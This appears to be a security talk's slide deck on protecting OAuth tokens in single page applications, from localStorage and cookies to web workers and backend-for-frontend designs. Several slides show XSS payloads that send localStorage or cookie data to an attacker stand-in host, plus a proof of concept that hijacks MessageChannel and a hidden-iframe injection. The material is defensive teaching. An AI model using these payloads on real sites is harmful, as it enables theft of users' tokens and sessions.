

TOKEN SECURITY IN SINGLE PAGE APPLICATIONS

DR. PHILIPPE DE RYCK

https://Pragmatic Web Security.com







Using LocalStorage in JavaScript

- 1 localStorage.setItem("favorite_cooking_technique", "sous-vide")
- 2 localStorage.getItem("favorite_cooking_technique")



A JS payload to steal all LocalStorage data from app.restograde.com

- 1 let img = new Image();
- 2 img.src = `https://maliciousfood.com?data=\${JSON.stringify(localStorage)}`;



I am Dr. Philippe De Ryck



Founder of Pragmatic Web Security



Google Developer Expert



Auth0 Ambassador / Expert



SecAppDev organizer

I help developers with security



Academic-level security training



Hands-on in-depth online courses



Security advisory services



https://pragmaticwebsecurity.com



A JS payload to steal all LocalStorage data from app.restograde.com

- 1 let img = new Image();
- 2 img.src = `https://maliciousfood.com?data=\${JSON.stringify(localStorage)}`;





OAuth 2.0 refresh tokens give long term access to a client on behalf of a user

└→ Good, since it helps reduce the lifetime of access tokens

Refresh tokens issued to a web frontend are bearer tokens

Bad, since it allows anyone that possesses the token to use it, including an attacker

OAuth 2.0 specs require additional protection for refresh tokens in the browser

└→ Concretely, that protection is refresh token rotation







@PhilippeDeRyck



A common misconception reduces the danger of malicious JavaScript code to a single event (e.g., stealing data from localStorage)











A JS payload to steal all cookies from app.restograde.com

- 1 let img = new Image();
- 2 img.src = `https://maliciousfood.com?data=\${document.cookie}`;





Set-Cookie: ____Host-JSESSIONID=02C688EC407941; HttpOnly; Secure; SameSite



HttpOnly cookies







If unstealable cookies are not secure, what does that mean for tokens?







All functionality or capabilities available to the legitimate application are available to malicious code running in the same context









A web worker can be used to isolate sensitive functionality from the main application context





Why avoiding LocalStorage for tokens is the wrong solution

Most developers are afraid of storing tokens in LocalStorage due to XSS attacks. While LocalStorage is easy to access, the problem actually runs a lot deeper. In this article, we investigate how an attacker can bypass even the most advanced mechanisms to obtain access tokens through an XSS attack. Concrete recommendations are provided at the end.

16 April 2020

OAuth 2.0 & OpenID Connect

OAuth 2.0, LocalStorage, XSS

A hastily written PoC to intercept MessageChannel messages

```
// Keep a reference to the original MessageChannel
1
    window.MyMessageChannel = MessageChannel;
3
    // Redefine the global MessageChannel
4
    MessageChannel = function() {
        // Create a legitimate channel
6
        let wrappedChannel = new MyMessageChannel();
7
8
        // Redefine what ports mean
9
        let wrapper = {
10
11
            port1: {
                myOnMessage: null,
12
                postMessage: function(msg, list) {
13
                    wrappedChannel.port1.postMessage(msg, list);
14
15
                },
                set onmessage (val) {
16
                    // Defining a setter for "onmessage" so we can intercept me
17
                    this.myOnMessage = val;
18
19
20
            ł,
            port2: wrappedChannel.port2
21
22
```

23	
24	// Add handlers to legitimate channel
25	<pre>wrappedChannel.port1.onmessage = function(e) {</pre>
26	<pre>// Stealthy code would not log, but send to a remote server</pre>
27	<pre>console.log(`Intercepting message from port 1 (\${e.data})`)</pre>
28	<pre>console.log(e.data);</pre>
29	wrapper.port1.myOnMessage(e);
30	}
31	
32	// Return the redefined channel
33	return wrapper;
34	}



All functionality or capabilities available to the legitimate application are available to malicious code running in the same context





What other capabilities of legitimate applications can an attacker abuse?

Malicious code to load the iframe in the application's page

```
1 window.addEventListener("message", (e) => {
2   /* handle incoming messages */
3 })
4
5 let f = document.createElement("iframe");
6 f.style = "display: none";
7 document.body.appendChild(f);
```





Key takeaways



Malicious code can do more than a single action



Malicious code can do anything the legitimate frontend can do



Focus on XSS mitigations and defense-in-depth mechanisms















A BFF keeps tokens out of the browser, which significantly increases security. Session riding remains a realistic attack vector.





Key takeaways



Non-sensitive SPAs can handle tokens in the browser



Sensitive SPAs should keep tokens out of the browser with a BFF



BFFs can detect and block illegitimate traffic patterns



USEFUL REFERENCES

• OAuth 2.0 for Browser-Based Apps

https://tools.ietf.org/html/draft-parecki-oauth-browser-based-apps

• Stealing access tokens with prototype pollution

https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html

• Duende's BFF middleware for .NET

https://blog.duendesoftware.com/posts/20210326_bff/

• Online courses

https://pragmaticwebsecurity.com/courses.html

• Image credits

https://unsplash.com/



Learn how to build secure Angular applications in this live workshop



@PhilippeDeRyck

http://bit.ly/ngsecurity

This online course helps you understand the details of OAuth 2.0 and OpenID Connect



@PhilippeDeRyck

https://courses.pragmaticwebsecurity.com



Thank you for watching!

Connect on social media for more in-depth security content



@PhilippeDeRyck



/in/PhilippeDeRyck